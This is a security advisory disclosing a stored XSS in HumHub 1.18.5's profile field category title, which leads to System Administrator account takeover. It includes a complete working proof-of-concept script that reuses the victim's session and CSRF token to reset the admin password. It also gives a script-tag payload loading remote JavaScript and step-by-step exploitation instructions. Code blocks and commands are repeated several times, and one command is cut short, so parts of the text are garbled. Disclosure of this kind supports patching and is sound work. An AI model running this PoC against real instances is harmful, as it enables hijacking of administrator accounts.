HumHub 1.18.5 - Stored XSS in Profile Field Category title via HForm#renderForm leading to System Administrator account takeover

7.2

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Summary

Full name

HumHub 1.18.5 - Stored XSS in Profile Field Category title via HForm#renderForm leading to System Administrator account takeover

Code name

State

Public

Release date

Affected product

HumHub

Vendor

HumHub

Affected version(s)

1.18.5

Fixed version(s)

1.18.6

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

7.2

Exploit available

Yes

Description

HumHub 1.18.5 is affected by a stored cross-site scripting (XSS) vulnerability that allows any user holding the delegated, non-system-administrator Manage Users permission (admin_manage_users) to inject persistent HTML/JavaScript into a Profile Field Category title. The payload is rendered unescaped in the account-settings page (/user/account/edit) that every authenticated user — including System Administrators — visits to manage their own profile, so it executes in the browser of any user who opens that page. When triggered by a System Administrator, the attacker can leverage the victim's authenticated session and CSRF token to perform system-administrator actions, as demonstrated by changing the administrator's password and achieving account takeover.

Vulnerability

Root Cause

The vulnerability is a trust-boundary violation: data writable by a delegated, non-system-administrator user (ProfileFieldCategory::title) is persisted without HTML sanitization and later rendered as raw, unescaped HTML in the security context of every other user — including System Administrators.

The attacker only needs the delegated Manage Users (admin_manage_users) permission, which is STATE_DENY by default for every group except the fixed Administrators group (protected/humhub/modules/admin/components/BaseAdminPermission.php:29-30,49-57) and can be granted to any ordinary group by a System Administrator without making that group a system-administrator group. protected/humhub/modules/admin/controllers/UserProfileController.php sets $adminOnly = false (line 30) and gates the category-editing action only through this permission — not through system-administrator status.

The stored value is never sanitized (protected/humhub/modules/user/models/ProfileFieldCategory.php:45-53 validates only length and presence) and is later concatenated directly into HTML at the sink, protected/humhub/compat/HForm.php::renderForm():

$output .= "<legend>" . $element['title'] . "</legend>
$output .= "<legend>" . $element['title'] . "</legend>
$output .= "<legend>" . $element['title'] . "</legend>
$output .= "<legend>" . $element['title'] . "</legend>

with no call to Html::encode(), sanitize(), or any equivalent output-encoding function anywhere in the path.

Source-to-sink path

  1. Source — attacker-controlled title: protected/humhub/modules/admin/controllers/UserProfileController.php sets $adminOnly = false (line 30) and gates the controller only through the ManageUsers permission:

    
    
    
    
    
    
    
    

    actionEditCategory() (lines 65-81) loads attacker-controlled POST data directly into a ProfileFieldCategory model and persists it:

    
    
    
    
    
    
    
    

    The source is therefore:
    POST /index.php?r=admin%2Fuser-profile%2Fedit-category&id=<ID> → ProfileFieldCategory[title]

  2. Insufficient validation (protected/humhub/modules/user/models/ProfileFieldCategory.php:45-53):

    
    
    
    
    
    
    
    

    title is only validated as a required string capped at 255 characters. No HTML sanitization is applied, so a value such as <script src="http://attacker.example/poc.js"></script> is stored verbatim.

  3. Propagation without encoding (protected/humhub/modules/user/models/Profile.php:206-223, getFormDefinition()):

    
    
    
    
    
    
    
    

    Yii::t() is called with the attacker-controlled string as the message, not as a parameter. Since the injected payload is never a registered translation key, Yii::t() falls back to returning it unchanged — the stored HTML passes through untouched.

  4. Sink — unescaped concatenation (protected/humhub/compat/HForm.php:198-208, renderForm()):

    public function renderForm($element)
    {
        ...
        $output .= "<legend>" . $element['title'] . "</legend>
    
    
    public function renderForm($element)
    {
        ...
        $output .= "<legend>" . $element['title'] . "</legend>
    
    
    public function renderForm($element)
    {
        ...
        $output .= "<legend>" . $element['title'] . "</legend>
    
    
    public function renderForm($element)
    {
        ...
        $output .= "<legend>" . $element['title'] . "</legend>
    
    

    The category title is concatenated directly into the HTML output.

  5. Trigger — every authenticated user's own account page (protected/humhub/modules/user/controllers/AccountController.php::actionEdit(), lines 83-99):

    
    
    
    
    
    
    
    

    Profile::getFormDefinition() is invoked for the currently logged-in user whenever they open /user/account/edit (the default landing page reached from Settings in the profile menu), so the poisoned category title renders — and the injected script executes — in the browser of every user who opens their own account settings, including System Administrators.

Impact

Any user granted the delegated Manage Users permission — a permission explicitly designed to fall short of full System Administrator rights, and denied by default for every group but the fixed Administrators group — can persist arbitrary HTML/JavaScript that executes in the browser of every authenticated user who opens their own account-settings page, with no further interaction required from the victim beyond a page visit they would make routinely.

Against a System Administrator victim, the impact is full account takeover: the injected script rides the administrator's own session and CSRF token to submit the legitimate administrative password-change request, resetting the System Administrator's password and granting the attacker complete control of the instance.

PoC

Preconditions

Local instance at http://localhost:8081 (HumHub 1.18.5, PHP 8.2, as installed in the environment described in the submission's "Install and run the software" section).

  • Attacker: testuser, member of a normal group (User Managers) that has been granted the Manage Users (admin_manage_users) permission — not a member of the Administrators group.

  • Victim: admin, member of the Administrators (System Administrator) group.

  • An attacker-controlled HTTP server reachable by the victim's browser, serving poc.js (local example: 127.0.0.1:8090).

poc.js:

(() => {
  const TARGET_USER_ID = 1; // the System Administrator's user id
  const NEW_PASSWORD = 'AdminPoC2016';
  const editUrl = `${location.origin}/index.php?r=admin%2Fuser%2Fedit&id=${TARGET_USER_ID}`;

  fetch(editUrl, { credentials: 'same-origin' })
    .then((response) => {
      if (!response.ok) { throw new Error(`Unable to load user-edit form: ${response.status}`); }
      return response.text();
    })
    .then((html) => {
      const page = new DOMParser().parseFromString(html, 'text/html');
      const form = page.querySelector('form[data-ui-widget="ui.form.TabbedForm"][action*="admin%2Fuser%2Fedit"]');
      if (!form) { throw new Error('Administrative user-edit form was not found.'); }

      const data = new FormData(form);
      const passwordField = form.querySelector('input[name$="[newPassword]"]');
      const confirmationField = form.querySelector('input[name$="[newPasswordConfirm]"]');
      if (!data.has('_csrf') || !passwordField || !confirmationField) {
        throw new Error('CSRF token or password fields were not found.');
      }

      data.set(passwordField.name, NEW_PASSWORD);
      data.set(confirmationField.name, NEW_PASSWORD);
      data.set('save', 'Save');

      return fetch(new URL(form.getAttribute('action'), location.origin), {
        method: 'POST',
        credentials: 'same-origin',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' },
        body: new URLSearchParams(data),
      });
    })
    .then((response) => {
      if (!response.ok) { throw new Error(`Password-update request failed: ${response.status}`); }
      alert('HUMHUB-IMPACT: administrator password changed');
    })
    .catch((error) => console.error('PoC failed:', error));
})();
(() => {
  const TARGET_USER_ID = 1; // the System Administrator's user id
  const NEW_PASSWORD = 'AdminPoC2016';
  const editUrl = `${location.origin}/index.php?r=admin%2Fuser%2Fedit&id=${TARGET_USER_ID}`;

  fetch(editUrl, { credentials: 'same-origin' })
    .then((response) => {
      if (!response.ok) { throw new Error(`Unable to load user-edit form: ${response.status}`); }
      return response.text();
    })
    .then((html) => {
      const page = new DOMParser().parseFromString(html, 'text/html');
      const form = page.querySelector('form[data-ui-widget="ui.form.TabbedForm"][action*="admin%2Fuser%2Fedit"]');
      if (!form) { throw new Error('Administrative user-edit form was not found.'); }

      const data = new FormData(form);
      const passwordField = form.querySelector('input[name$="[newPassword]"]');
      const confirmationField = form.querySelector('input[name$="[newPasswordConfirm]"]');
      if (!data.has('_csrf') || !passwordField || !confirmationField) {
        throw new Error('CSRF token or password fields were not found.');
      }

      data.set(passwordField.name, NEW_PASSWORD);
      data.set(confirmationField.name, NEW_PASSWORD);
      data.set('save', 'Save');

      return fetch(new URL(form.getAttribute('action'), location.origin), {
        method: 'POST',
        credentials: 'same-origin',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' },
        body: new URLSearchParams(data),
      });
    })
    .then((response) => {
      if (!response.ok) { throw new Error(`Password-update request failed: ${response.status}`); }
      alert('HUMHUB-IMPACT: administrator password changed');
    })
    .catch((error) => console.error('PoC failed:', error));
})();
(() => {
  const TARGET_USER_ID = 1; // the System Administrator's user id
  const NEW_PASSWORD = 'AdminPoC2016';
  const editUrl = `${location.origin}/index.php?r=admin%2Fuser%2Fedit&id=${TARGET_USER_ID}`;

  fetch(editUrl, { credentials: 'same-origin' })
    .then((response) => {
      if (!response.ok) { throw new Error(`Unable to load user-edit form: ${response.status}`); }
      return response.text();
    })
    .then((html) => {
      const page = new DOMParser().parseFromString(html, 'text/html');
      const form = page.querySelector('form[data-ui-widget="ui.form.TabbedForm"][action*="admin%2Fuser%2Fedit"]');
      if (!form) { throw new Error('Administrative user-edit form was not found.'); }

      const data = new FormData(form);
      const passwordField = form.querySelector('input[name$="[newPassword]"]');
      const confirmationField = form.querySelector('input[name$="[newPasswordConfirm]"]');
      if (!data.has('_csrf') || !passwordField || !confirmationField) {
        throw new Error('CSRF token or password fields were not found.');
      }

      data.set(passwordField.name, NEW_PASSWORD);
      data.set(confirmationField.name, NEW_PASSWORD);
      data.set('save', 'Save');

      return fetch(new URL(form.getAttribute('action'), location.origin), {
        method: 'POST',
        credentials: 'same-origin',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' },
        body: new URLSearchParams(data),
      });
    })
    .then((response) => {
      if (!response.ok) { throw new Error(`Password-update request failed: ${response.status}`); }
      alert('HUMHUB-IMPACT: administrator password changed');
    })
    .catch((error) => console.error('PoC failed:', error));
})();
(() => {
  const TARGET_USER_ID = 1; // the System Administrator's user id
  const NEW_PASSWORD = 'AdminPoC2016';
  const editUrl = `${location.origin}/index.php?r=admin%2Fuser%2Fedit&id=${TARGET_USER_ID}`;

  fetch(editUrl, { credentials: 'same-origin' })
    .then((response) => {
      if (!response.ok) { throw new Error(`Unable to load user-edit form: ${response.status}`); }
      return response.text();
    })
    .then((html) => {
      const page = new DOMParser().parseFromString(html, 'text/html');
      const form = page.querySelector('form[data-ui-widget="ui.form.TabbedForm"][action*="admin%2Fuser%2Fedit"]');
      if (!form) { throw new Error('Administrative user-edit form was not found.'); }

      const data = new FormData(form);
      const passwordField = form.querySelector('input[name$="[newPassword]"]');
      const confirmationField = form.querySelector('input[name$="[newPasswordConfirm]"]');
      if (!data.has('_csrf') || !passwordField || !confirmationField) {
        throw new Error('CSRF token or password fields were not found.');
      }

      data.set(passwordField.name, NEW_PASSWORD);
      data.set(confirmationField.name, NEW_PASSWORD);
      data.set('save', 'Save');

      return fetch(new URL(form.getAttribute('action'), location.origin), {
        method: 'POST',
        credentials: 'same-origin',
        headers: { 'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8' },
        body: new URLSearchParams(data),
      });
    })
    .then((response) => {
      if (!response.ok) { throw new Error(`Password-update request failed: ${response.status}`); }
      alert('HUMHUB-IMPACT: administrator password changed');
    })
    .catch((error) => console.error('PoC failed:', error));
})();

Serve it:

python3 -m http.server 8090 --bind 127
python3 -m http.server 8090 --bind 127
python3 -m http.server 8090 --bind 127
python3 -m http.server 8090 --bind 127

Step-by-step

1. Delegating Manage Users to the attacker

  1. Log in as the System Administrator.

  2. Administration → Groups → Create new group, name it User Managers, keep the type Normal, Save.

  3. Open the group's gear menu → Permissions → set Manage Users — Can manage users and user profiles — from Default - Deny to Allow.

  4. Open Members → Add new members, add testuser.

2. Storing the payload

  1. Log in as testuser.

  2. Administration → Users → Profiles → General → Edit Category.

  3. Replace Title with:

    <script src="http://127.0.0.1:8090/poc.js"></script>
    <script src="http://127.0.0.1:8090/poc.js"></script>
    <script src="http://127.0.0.1:8090/poc.js"></script>
    <script src="http://127.0.0.1:8090/poc.js"></script>
  4. Save.

3. Triggering the payload

  1. Ensure the payload server on 127.0.0.1:8090 is running.

  2. Log in as the System Administrator (admin).

  3. Open the profile menu → Settings. The General profile-field category renders automatically on this page (/user/account/edit), loading and executing poc.js.

The script executes in the administrator's own authenticated origin, reuses the administrator's session and CSRF token, and submits the legitimate POST /admin/user/edit&id=<ADMIN_ID> password-change request — demonstrating full System Administrator account takeover from a non-administrator, delegated Manage Users account.

Expected result

The injected <script src="http://127.0.0.1:8090/poc.js"></script> appears unescaped inside the <legend> element of the General profile-field category on /user/account/edit. When the System Administrator opens that page, poc.js loads and executes in the administrator's own browser origin, fetches GET /admin/user/edit&id=<ADMIN_ID> using the administrator's session, extracts the victim-bound _csrf token and password fields from the legitimate form, and submits POST /admin/user/edit&id=<ADMIN_ID> with PasswordEditForm[newPassword] and PasswordEditForm[newPasswordConfirm] set to the attacker-chosen value. The request succeeds (HTTP 200/302, no 403 from checkUserAccess(), since the request is authenticated as the administrator), the administrator's password is overwritten, and the PoC surfaces an alert('HUMHUB-IMPACT: administrator password changed') plus an on-page banner confirming execution — both visible in the administrator's own session, not the attacker's.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-93769 to refer to this issue from now on.

Disclosure policy

System Information

  • HumHub

  • Version 1.18.5

  • Operating System: Any

References

Mitigation

An updated version of HumHub is available on the vendor page.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.